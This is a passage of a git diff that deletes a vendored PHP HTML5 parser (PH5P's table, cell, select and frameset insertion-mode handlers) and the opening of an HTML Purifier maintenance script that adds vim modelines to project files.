HTML5::ENDTAG && in_array($token['name'], - array('body', 'col', 'colgroup', 'html', 'tbody', 'tfoot', 'th', - 'thead', 'tr'))) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in body". */ - $this->inBody($token); - } - } - - private function inColumnGroup($token) { - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $text = $this->dom->createTextNode($token['data']); - end($this->stack)->appendChild($text); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - end($this->stack)->appendChild($comment); - - /* A start tag whose tag name is "col" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'col') { - /* Insert a col element for the token. Immediately pop the current - node off the stack of open elements. */ - $this->insertElement($token); - array_pop($this->stack); - - /* An end tag whose tag name is "colgroup" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'colgroup') { - /* If the current node is the root html element, then this is a - parse error, ignore the token. (innerHTML case) */ - if(end($this->stack)->nodeName === 'html') { - // Ignore - - /* Otherwise, pop the current node (which will be a colgroup - element) from the stack of open elements. Switch the insertion - mode to "in table". */ - } else { - array_pop($this->stack); - $this->mode = self::IN_TABLE; - } - - /* An end tag whose tag name is "col" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'col') { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Act as if an end tag with the tag name "colgroup" had been seen, - and then, if that token wasn't ignored, reprocess the current token. */ - $this->inColumnGroup(array( - 'name' => 'colgroup', - 'type' => HTML5::ENDTAG - )); - - return $this->inTable($token); - } - } - - private function inTableBody($token) { - $clear = array('tbody', 'tfoot', 'thead', 'html'); - - /* A start tag whose tag name is "tr" */ - if($token['type'] === HTML5::STARTTAG && $token['name'] === 'tr') { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Insert a tr element for the token, then switch the insertion - mode to "in row". */ - $this->insertElement($token); - $this->mode = self::IN_ROW; - - /* A start tag whose tag name is one of: "th", "td" */ - } elseif($token['type'] === HTML5::STARTTAG && - ($token['name'] === 'th' || $token['name'] === 'td')) { - /* Parse error. Act as if a start tag with the tag name "tr" had - been seen, then reprocess the current token. */ - $this->inTableBody(array( - 'name' => 'tr', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inRow($token); - - /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('tbody', 'tfoot', 'thead'))) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore - - /* Otherwise: */ - } else { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Pop the current node from the stack of open elements. Switch - the insertion mode to "in table". */ - array_pop($this->stack); - $this->mode = self::IN_TABLE; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "tfoot", "thead", or an end tag whose tag name is "table" */ - } elseif(($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'tfoor', 'thead'))) || - ($token['type'] === HTML5::STARTTAG && $token['name'] === 'table')) { - /* If the stack of open elements does not have a tbody, thead, or - tfoot element in table scope, this is a parse error. Ignore the - token. (innerHTML case) */ - if(!$this->elementInScope(array('tbody', 'thead', 'tfoot'), true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Act as if an end tag with the same tag name as the current - node ("tbody", "tfoot", or "thead") had been seen, then - reprocess the current token. */ - $this->inTableBody(array( - 'name' => end($this->stack)->nodeName, - 'type' => HTML5::ENDTAG - )); - - return $this->mainPhase($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "td", "th", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr'))) { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in table". */ - $this->inTable($token); - } - } - - private function inRow($token) { - $clear = array('tr', 'html'); - - /* A start tag whose tag name is one of: "th", "td" */ - if($token['type'] === HTML5::STARTTAG && - ($token['name'] === 'th' || $token['name'] === 'td')) { - /* Clear the stack back to a table row context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the insertion - mode to "in cell". */ - $this->insertElement($token); - $this->mode = self::IN_CELL; - - /* Insert a marker at the end of the list of active formatting - elements. */ - $this->a_formatting[] = self::MARKER; - - /* An end tag whose tag name is "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'tr') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Clear the stack back to a table row context. */ - $this->clearStackToTableContext($clear); - - /* Pop the current node (which will be a tr element) from the - stack of open elements. Switch the insertion mode to "in table - body". */ - array_pop($this->stack); - $this->mode = self::IN_TBODY; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "tfoot", "thead", "tr" or an end tag whose tag name is "table" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'tfoot', 'thead', 'tr'))) { - /* Act as if an end tag with the tag name "tr" had been seen, then, - if that token wasn't ignored, reprocess the current token. */ - $this->inRow(array( - 'name' => 'tr', - 'type' => HTML5::ENDTAG - )); - - return $this->inCell($token); - - /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('tbody', 'tfoot', 'thead'))) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Otherwise, act as if an end tag with the tag name "tr" had - been seen, then reprocess the current token. */ - $this->inRow(array( - 'name' => 'tr', - 'type' => HTML5::ENDTAG - )); - - return $this->inCell($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "td", "th" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr'))) { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in table". */ - $this->inTable($token); - } - } - - private function inCell($token) { - /* An end tag whose tag name is one of: "td", "th" */ - if($token['type'] === HTML5::ENDTAG && - ($token['name'] === 'td' || $token['name'] === 'th')) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as that of the token, then this is a - parse error and the token must be ignored. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Generate implied end tags, except for elements with the same - tag name as the token. */ - $this->generateImpliedEndTags(array($token['name'])); - - /* Now, if the current node is not an element with the same tag - name as the token, then this is a parse error. */ - // k - - /* Pop elements from this stack until an element with the same - tag name as the token has been popped from the stack. */ - while(true) { - $node = end($this->stack)->nodeName; - array_pop($this->stack); - - if($node === $token['name']) { - break; - } - } - - /* Clear the list of active formatting elements up to the last - marker. */ - $this->clearTheActiveFormattingElementsUpToTheLastMarker(); - - /* Switch the insertion mode to "in row". (The current node - will be a tr element at this point.) */ - $this->mode = self::IN_ROW; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', - 'thead', 'tr'))) { - /* If the stack of open elements does not have a td or th element - in table scope, then this is a parse error; ignore the token. - (innerHTML case) */ - if(!$this->elementInScope(array('td', 'th'), true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', - 'thead', 'tr'))) { - /* If the stack of open elements does not have a td or th element - in table scope, then this is a parse error; ignore the token. - (innerHTML case) */ - if(!$this->elementInScope(array('td', 'th'), true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html'))) { - /* Parse error. Ignore the token. */ - - /* An end tag whose tag name is one of: "table", "tbody", "tfoot", - "thead", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('table', 'tbody', 'tfoot', 'thead', 'tr'))) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as that of the token (which can only - happen for "tbody", "tfoot" and "thead", or, in the innerHTML case), - then this is a parse error and the token must be ignored. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in body". */ - $this->inBody($token); - } - } - - private function inSelect($token) { - /* Handle the token as follows: */ - - /* A character token */ - if($token['type'] === HTML5::CHARACTR) { - /* Append the token's character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token whose tag name is "option" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'option') { - /* If the current node is an option element, act as if an end tag - with the tag name "option" had been seen. */ - if(end($this->stack)->nodeName === 'option') { - $this->inSelect(array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* A start tag token whose tag name is "optgroup" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'optgroup') { - /* If the current node is an option element, act as if an end tag - with the tag name "option" had been seen. */ - if(end($this->stack)->nodeName === 'option') { - $this->inSelect(array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - )); - } - - /* If the current node is an optgroup element, act as if an end tag - with the tag name "optgroup" had been seen. */ - if(end($this->stack)->nodeName === 'optgroup') { - $this->inSelect(array( - 'name' => 'optgroup', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* An end tag token whose tag name is "optgroup" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'optgroup') { - /* First, if the current node is an option element, and the node - immediately before it in the stack of open elements is an optgroup - element, then act as if an end tag with the tag name "option" had - been seen. */ - $elements_in_stack = count($this->stack); - - if($this->stack[$elements_in_stack - 1]->nodeName === 'option' && - $this->stack[$elements_in_stack - 2]->nodeName === 'optgroup') { - $this->inSelect(array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - )); - } - - /* If the current node is an optgroup element, then pop that node - from the stack of open elements. Otherwise, this is a parse error, - ignore the token. */ - if($this->stack[$elements_in_stack - 1] === 'optgroup') { - array_pop($this->stack); - } - - /* An end tag token whose tag name is "option" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'option') { - /* If the current node is an option element, then pop that node - from the stack of open elements. Otherwise, this is a parse error, - ignore the token. */ - if(end($this->stack)->nodeName === 'option') { - array_pop($this->stack); - } - - /* An end tag whose tag name is "select" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'select') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - // w/e - - /* Otherwise: */ - } else { - /* Pop elements from the stack of open elements until a select - element has been popped from the stack. */ - while(true) { - $current = end($this->stack)->nodeName; - array_pop($this->stack); - - if($current === 'select') { - break; - } - } - - /* Reset the insertion mode appropriately. */ - $this->resetInsertionMode(); - } - - /* A start tag whose tag name is "select" */ - } elseif($token['name'] === 'select' && - $token['type'] === HTML5::STARTTAG) { - /* Parse error. Act as if the token had been an end tag with the - tag name "select" instead. */ - $this->inSelect(array( - 'name' => 'select', - 'type' => HTML5::ENDTAG - )); - - /* An end tag whose tag name is one of: "caption", "table", "tbody", - "tfoot", "thead", "tr", "td", "th" */ - } elseif(in_array($token['name'], array('caption', 'table', 'tbody', - 'tfoot', 'thead', 'tr', 'td', 'th')) && $token['type'] === HTML5::ENDTAG) { - /* Parse error. */ - // w/e - - /* If the stack of open elements has an element in table scope with - the same tag name as that of the token, then act as if an end tag - with the tag name "select" had been seen, and reprocess the token. - Otherwise, ignore the token. */ - if($this->elementInScope($token['name'], true)) { - $this->inSelect(array( - 'name' => 'select', - 'type' => HTML5::ENDTAG - )); - - $this->mainPhase($token); - } - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function afterBody($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Process the token as it would be processed if the insertion mode - was "in body". */ - $this->inBody($token); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the first element in the stack of open - elements (the html element), with the data attribute set to the - data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->stack[0]->appendChild($comment); - - /* An end tag with the tag name "html" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') { - /* If the parser was originally created in order to handle the - setting of an element's innerHTML attribute, this is a parse error; - ignore the token. (The element will be an html element in this - case.) (innerHTML case) */ - - /* Otherwise, switch to the trailing end phase. */ - $this->phase = self::END_PHASE; - - /* Anything else */ - } else { - /* Parse error. Set the insertion mode to "in body" and reprocess - the token. */ - $this->mode = self::IN_BODY; - return $this->inBody($token); - } - } - - private function inFrameset($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag with the tag name "frameset" */ - } elseif($token['name'] === 'frameset' && - $token['type'] === HTML5::STARTTAG) { - $this->insertElement($token); - - /* An end tag with the tag name "frameset" */ - } elseif($token['name'] === 'frameset' && - $token['type'] === HTML5::ENDTAG) { - /* If the current node is the root html element, then this is a - parse error; ignore the token. (innerHTML case) */ - if(end($this->stack)->nodeName === 'html') { - // Ignore - - } else { - /* Otherwise, pop the current node from the stack of open - elements. */ - array_pop($this->stack); - - /* If the parser was not originally created in order to handle - the setting of an element's innerHTML attribute (innerHTML case), - and the current node is no longer a frameset element, then change - the insertion mode to "after frameset". */ - $this->mode = self::AFTR_FRAME; - } - - /* A start tag with the tag name "frame" */ - } elseif($token['name'] === 'frame' && - $token['type'] === HTML5::STARTTAG) { - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - - /* A start tag with the tag name "noframes" */ - } elseif($token['name'] === 'noframes' && - $token['type'] === HTML5::STARTTAG) { - /* Process the token as if the insertion mode had been "in body". */ - $this->inBody($token); - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function afterFrameset($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* An end tag with the tag name "html" */ - } elseif($token['name'] === 'html' && - $token['type'] === HTML5::ENDTAG) { - /* Switch to the trailing end phase. */ - $this->phase = self::END_PHASE; - - /* A start tag with the tag name "noframes" */ - } elseif($token['name'] === 'noframes' && - $token['type'] === HTML5::STARTTAG) { - /* Process the token as if the insertion mode had been "in body". */ - $this->inBody($token); - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function trailingEndPhase($token) { - /* After the main phase, as each token is emitted from the tokenisation - stage, it must be processed as described in this section. */ - - /* A DOCTYPE token */ - if($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the Document object with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->dom->appendChild($comment); - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Process the token as it would be processed in the main phase. */ - $this->mainPhase($token); - - /* A character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. Or a start tag token. Or an end tag token. */ - } elseif(($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || - $token['type'] === HTML5::STARTTAG || $token['type'] === HTML5::ENDTAG) { - /* Parse error. Switch back to the main phase and reprocess the - token. */ - $this->phase = self::MAIN_PHASE; - return $this->mainPhase($token); - - /* An end-of-file token */ - } elseif($token['type'] === HTML5::EOF) { - /* OMG DONE!! */ - } - } - - private function insertElement($token, $append = true) { - $el = $this->dom->createElement($token['name']); - - foreach($token['attr'] as $attr) { - if(!$el->hasAttribute($attr['name'])) { - $el->setAttribute($attr['name'], $attr['value']); - } - } - - $this->appendToRealParent($el); - $this->stack[] = $el; - - return $el; - } - - private function insertText($data) { - $text = $this->dom->createTextNode($data); - $this->appendToRealParent($text); - } - - private function insertComment($data) { - $comment = $this->dom->createComment($data); - $this->appendToRealParent($comment); - } - - private function appendToRealParent($node) { - if($this->foster_parent === null) { - end($this->stack)->appendChild($node); - - } elseif($this->foster_parent !== null) { - /* If the foster parent element is the parent element of the - last table element in the stack of open elements, then the new - node must be inserted immediately before the last table element - in the stack of open elements in the foster parent element; - otherwise, the new node must be appended to the foster parent - element. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === 'table' && - $this->stack[$n]->parentNode !== null) { - $table = $this->stack[$n]; - break; - } - } - - if(isset($table) && $this->foster_parent->isSameNode($table->parentNode)) - $this->foster_parent->insertBefore($node, $table); - else - $this->foster_parent->appendChild($node); - - $this->foster_parent = null; - } - } - - private function elementInScope($el, $table = false) { - if(is_array($el)) { - foreach($el as $element) { - if($this->elementInScope($element, $table)) { - return true; - } - } - - return false; - } - - $leng = count($this->stack); - - for($n = 0; $n < $leng; $n++) { - /* 1. Initialise node to be the current node (the bottommost node of - the stack). */ - $node = $this->stack[$leng - 1 - $n]; - - if($node->tagName === $el) { - /* 2. If node is the target node, terminate in a match state. */ - return true; - - } elseif($node->tagName === 'table') { - /* 3. Otherwise, if node is a table element, terminate in a failure - state. */ - return false; - - } elseif($table === true && in_array($node->tagName, array('caption', 'td', - 'th', 'button', 'marquee', 'object'))) { - /* 4. Otherwise, if the algorithm is the "has an element in scope" - variant (rather than the "has an element in table scope" variant), - and node is one of the following, terminate in a failure state. */ - return false; - - } elseif($node === $node->ownerDocument->documentElement) { - /* 5. Otherwise, if node is an html element (root element), terminate - in a failure state. (This can only happen if the node is the topmost - node of the stack of open elements, and prevents the next step from - being invoked if there are no more elements in the stack.) */ - return false; - } - - /* Otherwise, set node to the previous entry in the stack of open - elements and return to step 2. (This will never fail, since the loop - will always terminate in the previous step if the top of the stack - is reached.) */ - } - } - - private function reconstructActiveFormattingElements() { - /* 1. If there are no entries in the list of active formatting elements, - then there is nothing to reconstruct; stop this algorithm. */ - $formatting_elements = count($this->a_formatting); - - if($formatting_elements === 0) { - return false; - } - - /* 3. Let entry be the last (most recently added) element in the list - of active formatting elements. */ - $entry = end($this->a_formatting); - - /* 2. If the last (most recently added) entry in the list of active - formatting elements is a marker, or if it is an element that is in the - stack of open elements, then there is nothing to reconstruct; stop this - algorithm. */ - if($entry === self::MARKER || in_array($entry, $this->stack, true)) { - return false; - } - - for($a = $formatting_elements - 1; $a >= 0; true) { - /* 4. If there are no entries before entry in the list of active - formatting elements, then jump to step 8. */ - if($a === 0) { - $step_seven = false; - break; - } - - /* 5. Let entry be the entry one earlier than entry in the list of - active formatting elements. */ - $a--; - $entry = $this->a_formatting[$a]; - - /* 6. If entry is neither a marker nor an element that is also in - thetack of open elements, go to step 4. */ - if($entry === self::MARKER || in_array($entry, $this->stack, true)) { - break; - } - } - - while(true) { - /* 7. Let entry be the element one later than entry in the list of - active formatting elements. */ - if(isset($step_seven) && $step_seven === true) { - $a++; - $entry = $this->a_formatting[$a]; - } - - /* 8. Perform a shallow clone of the element entry to obtain clone. */ - $clone = $entry->cloneNode(); - - /* 9. Append clone to the current node and push it onto the stack - of open elements so that it is the new current node. */ - end($this->stack)->appendChild($clone); - $this->stack[] = $clone; - - /* 10. Replace the entry for entry in the list with an entry for - clone. */ - $this->a_formatting[$a] = $clone; - - /* 11. If the entry for clone in the list of active formatting - elements is not the last entry in the list, return to step 7. */ - if(end($this->a_formatting) !== $clone) { - $step_seven = true; - } else { - break; - } - } - } - - private function clearTheActiveFormattingElementsUpToTheLastMarker() { - /* When the steps below require the UA to clear the list of active - formatting elements up to the last marker, the UA must perform the - following steps: */ - - while(true) { - /* 1. Let entry be the last (most recently added) entry in the list - of active formatting elements. */ - $entry = end($this->a_formatting); - - /* 2. Remove entry from the list of active formatting elements. */ - array_pop($this->a_formatting); - - /* 3. If entry was a marker, then stop the algorithm at this point. - The list has been cleared up to the last marker. */ - if($entry === self::MARKER) { - break; - } - } - } - - private function generateImpliedEndTags(array $exclude = array()) { - /* When the steps below require the UA to generate implied end tags, - then, if the current node is a dd element, a dt element, an li element, - a p element, a td element, a th element, or a tr element, the UA must - act as if an end tag with the respective tag name had been seen and - then generate implied end tags again. */ - $node = end($this->stack); - $elements = array_diff(array('dd', 'dt', 'li', 'p', 'td', 'th', 'tr'), $exclude); - - while(in_array(end($this->stack)->nodeName, $elements)) { - array_pop($this->stack); - } - } - - private function getElementCategory($name) { - if(in_array($name, $this->special)) - return self::SPECIAL; - - elseif(in_array($name, $this->scoping)) - return self::SCOPING; - - elseif(in_array($name, $this->formatting)) - return self::FORMATTING; - - else - return self::PHRASING; - } - - private function clearStackToTableContext($elements) { - /* When the steps above require the UA to clear the stack back to a - table context, it means that the UA must, while the current node is not - a table element or an html element, pop elements from the stack of open - elements. If this causes any elements to be popped from the stack, then - this is a parse error. */ - while(true) { - $node = end($this->stack)->nodeName; - - if(in_array($node, $elements)) { - break; - } else { - array_pop($this->stack); - } - } - } - - private function resetInsertionMode() { - /* 1. Let last be false. */ - $last = false; - $leng = count($this->stack); - - for($n = $leng - 1; $n >= 0; $n--) { - /* 2. Let node be the last node in the stack of open elements. */ - $node = $this->stack[$n]; - - /* 3. If node is the first node in the stack of open elements, then - set last to true. If the element whose innerHTML attribute is being - set is neither a td element nor a th element, then set node to the - element whose innerHTML attribute is being set. (innerHTML case) */ - if($this->stack[0]->isSameNode($node)) { - $last = true; - } - - /* 4. If node is a select element, then switch the insertion mode to - "in select" and abort these steps. (innerHTML case) */ - if($node->nodeName === 'select') { - $this->mode = self::IN_SELECT; - break; - - /* 5. If node is a td or th element, then switch the insertion mode - to "in cell" and abort these steps. */ - } elseif($node->nodeName === 'td' || $node->nodeName === 'th') { - $this->mode = self::IN_CELL; - break; - - /* 6. If node is a tr element, then switch the insertion mode to - "in row" and abort these steps. */ - } elseif($node->nodeName === 'tr') { - $this->mode = self::IN_ROW; - break; - - /* 7. If node is a tbody, thead, or tfoot element, then switch the - insertion mode to "in table body" and abort these steps. */ - } elseif(in_array($node->nodeName, array('tbody', 'thead', 'tfoot'))) { - $this->mode = self::IN_TBODY; - break; - - /* 8. If node is a caption element, then switch the insertion mode - to "in caption" and abort these steps. */ - } elseif($node->nodeName === 'caption') { - $this->mode = self::IN_CAPTION; - break; - - /* 9. If node is a colgroup element, then switch the insertion mode - to "in column group" and abort these steps. (innerHTML case) */ - } elseif($node->nodeName === 'colgroup') { - $this->mode = self::IN_CGROUP; - break; - - /* 10. If node is a table element, then switch the insertion mode - to "in table" and abort these steps. */ - } elseif($node->nodeName === 'table') { - $this->mode = self::IN_TABLE; - break; - - /* 11. If node is a head element, then switch the insertion mode - to "in body" ("in body"! not "in head"!) and abort these steps. - (innerHTML case) */ - } elseif($node->nodeName === 'head') { - $this->mode = self::IN_BODY; - break; - - /* 12. If node is a body element, then switch the insertion mode to - "in body" and abort these steps. */ - } elseif($node->nodeName === 'body') { - $this->mode = self::IN_BODY; - break; - - /* 13. If node is a frameset element, then switch the insertion - mode to "in frameset" and abort these steps. (innerHTML case) */ - } elseif($node->nodeName === 'frameset') { - $this->mode = self::IN_FRAME; - break; - - /* 14. If node is an html element, then: if the head element - pointer is null, switch the insertion mode to "before head", - otherwise, switch the insertion mode to "after head". In either - case, abort these steps. (innerHTML case) */ - } elseif($node->nodeName === 'html') { - $this->mode = ($this->head_pointer === null) - ? self::BEFOR_HEAD - : self::AFTER_HEAD; - - break; - - /* 15. If last is true, then set the insertion mode to "in body" - and abort these steps. (innerHTML case) */ - } elseif($last) { - $this->mode = self::IN_BODY; - break; - } - } - } - - private function closeCell() { - /* If the stack of open elements has a td or th element in table scope, - then act as if an end tag token with that tag name had been seen. */ - foreach(array('td', 'th') as $cell) { - if($this->elementInScope($cell, true)) { - $this->inCell(array( - 'name' => $cell, - 'type' => HTML5::ENDTAG - )); - - break; - } - } - } - - public function save() { - return $this->dom; - } -} -?> diff --git a/classes/security/htmlpurifier/maintenance/add-vimline.php b/classes/security/htmlpurifier/maintenance/add-vimline.php deleted file mode 100644 index 34a177f21..000000000 --- a/classes/security/htmlpurifier/maintenance/add-vimline.php +++ /dev/null @@ -1,131 +0,0 @@ -#!/usr/bin/php -globr('.', '*'); -foreach ($files as $file) { - if ( - !is_file($file) || - prefix_is('./docs/doxygen', $file) || - prefix_is('./library/standalone', $file) || - prefix_is('./docs/specimens', $file) || - postfix_is('.ser', $file) || - postfix_is('.tgz', $file) || - postfix_is('.patch', $file) || - postfix_is('.dtd', $file) || - postfix_is('.ent', $file) || - postfix_is('.png', $file) || - postfix_is('.ico', $file) || - // wontfix - postfix_is('.vtest', $file) || - postfix_is('.svg', $file) || - postfix_is('.phpt', $file) || - postfix_is('VERSION', $file) || - postfix_is('WHATSNEW', $file) || - postfix_is('FOCUS', $file) || - postfix_is('configdoc/usage.xml', $file) || - postfix_is('library/HTMLPurifier.includes.php', $file) || - postfix_is('library/HTMLPurifier.safe-includes.php', $file) || - postfix_is('smoketests/xssAttacks.xml', $file) || - // phpt files - postfix_is('.diff', $file) || - postfix_is('.exp', $file) || - postfix_is('.log', $file) || - postfix_is('.out', $file) || - - $file == './library/HTMLPurifier/Lexer/PH5P.php' || - $file == './maintenance/PH5P.php' - ) continue; - $ext = strrchr($file, '.'); - if ( - postfix_is('README', $file) || - postfix_is('LICENSE', $file) || - postfix_is('CREDITS', $file) || - postfix_is('INSTALL', $file) || - postfix_is('NEWS', $file) || - postfix_is('TODO', $file) || - postfix_is('WYSIWYG', $file) || - postfix_is('Changelog', $file) - ) $ext = '.txt'; - if (postfix_is('Doxyfile', $file)) $ext = 'Doxyfile'; - if (postfix_is('.php.in', $file)) $ext = '.php'; - $no_nl = false; - switch ($ext) { - case '.php': - case '.inc': - case '.js': - $line = '// %s'; - break; - case '.html': - case '.xsl': - case '.xml': - case '.htc': - $line = ""; - break; - case '.htmlt': - $no_nl = true; - $line = '--# %s'; - break; - case '.ini': - $line = '; %s'; - break; - case '.css': - $line = '/* %s */'; - break; - case '.bat': - $line = 'rem %s'; - break; - case '.txt': - case '.utf8': - if ( - prefix_is('./library/HTMLPurifier/ConfigSchema', $file) || - prefix_is('./smoketests/test-schema', $file) || - prefix_is('./tests/HTMLPurifier/StringHashParser', $file) - ) { - $no_nl = true; - $line = '--# %s'; - } else { - $line = ' %s'; - } - break; - case 'Doxyfile': - $line = '# %s'; - break; - default: - throw new Exception('Unknown file: ' . $file); - } - - echo "$file\n"; - $contents = file_get_contents($file); - - $regex = 